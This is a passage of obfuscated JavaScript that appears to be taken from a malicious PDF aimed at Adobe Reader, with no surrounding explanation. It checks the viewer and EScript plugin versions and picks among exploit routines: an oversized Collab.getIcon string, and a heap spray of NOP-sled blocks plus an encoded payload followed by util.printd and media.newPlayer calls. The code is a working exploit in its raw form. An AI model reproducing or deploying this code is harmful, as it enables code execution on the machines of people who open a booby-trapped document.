var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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